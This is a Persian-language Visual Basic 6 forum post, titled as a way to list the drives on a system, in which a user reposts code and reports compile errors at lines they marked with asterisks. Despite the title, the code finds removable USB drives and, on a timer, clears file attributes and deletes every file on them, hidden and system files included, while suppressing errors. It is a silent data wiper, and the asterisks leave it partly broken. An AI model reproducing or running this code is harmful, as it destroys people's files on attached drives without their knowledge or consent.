• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 10 رای - 2.1 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: بدست اوردن لیست درایوهای موجود بر روی سیستم
حالت خطی
#5
این برنامه شما را وقتی من می خوام اجرا کنم یا تبدیل به exe کنم ارور می گیره !
'CODER : Www.ParsiCoders.com By Amin Mansouri

Private Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" _
(ByVal nDrive As String) As Long

Const DRIVE_CDROM = 5

Const DRIVE_FIXED = 3

Const DRIVE_RAMDISK = 6

Const DRIVE_REMOTE = 4

Const DRIVE_REMOVABLE = 2

Dim NameDrive As String

Public Function GetUsb() As String
Dim WMIService As Object, USBDrives As Object, USBFound As Object, USB As String, USBCount As String
Set WMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") 'Open WMIService
Set USBDrives = WMIService.ExecQuery("Select * from Win32_LogicalDisk") 'Look For Computer Drives drives
For Each USBFound In USBDrives 'Look for all our drives
If USBFound.drivetype = 2 Then 'If drivetype is USB
USB = USBFound.Name 'Set USB as New USB-name
USBCount = USBCount & " - " & USBFound.Name 'Add USB name to USB-count
End If
If USB = "" Then GoTo volgende 'If its not an USB-Drive then goto Next
volgende: 'Next
Next 'Search for more USB drives
GetUsb = USB
End Function

Public Function StripNulls(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function
Public Function DeleteFile() As String
On Error Resume Next
File1.Path = GetUsb
File1.Refresh
For i = 0 To File1.ListCount - 1
Path = StripNulls(GetUsb + File1.List(i))
SetAttr Path, vbNormal
Kill Path
Next
End Function
*******Private Sub Drive1_Change()
**********File1.Path = Drive1.Drive
End Sub

********Private Sub Form_Load()
***********File1.System = True
File1.Hidden = True
End Sub

Private Sub Timer1_Timer()
DeleteFile
End Sub

توی دستور برنامه شما اون قسمتهایی که ستاره زدم(*********) ارور می گیره و کامپایل نمی شده نه موقعی که می خوام فرم اجرا بشه و نه زمانی که می خوام تبدیل به exe کنم .
 
پاسخ
  


پیام‌های این موضوع
RE: بدست اوردن لیست درایوهای موجود بر روی سیستم - توسط پنام - 01-08-2012، 02:24 PM

موضوعات مشابه ...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  سه فیلتر در نمایس لیست باکس aghamali 0 2,438 07-11-2017، 10:39 PM
آخرین ارسال: aghamali
  جابجایی در لیست باکس aghamali 0 3,326 03-14-2016، 07:41 PM
آخرین ارسال: aghamali
  انتخاب رندوم از لیست باکس aghamali 0 2,594 04-16-2015، 06:30 AM
آخرین ارسال: aghamali
  لیست کاربرهای کلوب tiktak990 6 9,357 03-21-2014، 01:04 PM
آخرین ارسال: a.adhami
  سورس کلوب اسپمر یا افزایش لیست اعضا با ویژوال بیسیک tiktak990 1 6,669 08-11-2013، 12:14 PM
آخرین ارسال: Amin_Mansouri
  لیست باکس a.adhami 9 11,743 03-01-2013، 11:16 AM
آخرین ارسال: Amin_Mansouri
Bug جمع اوری لیست اعضا tiktak99 3 7,461 02-16-2013، 08:20 PM
آخرین ارسال: rap0661
  بدست اوردن آیدی های لاگین شده alakimalaki 1 3,712 12-09-2012، 11:57 AM
آخرین ارسال: 2400
  سورس کد تشخیص 64 بیتی بودن سیستم عامل (ویژوال بیسیک6) Amin_Mansouri 0 4,677 06-16-2012، 07:57 PM
آخرین ارسال: Amin_Mansouri
  سورس کد بدست اورن فضای خالی درایور (ویژوال بیسیک 6) Amin_Mansouri 0 2,851 06-16-2012، 07:54 PM
آخرین ارسال: Amin_Mansouri

پرش به انجمن:


Browsing: 7 مهمان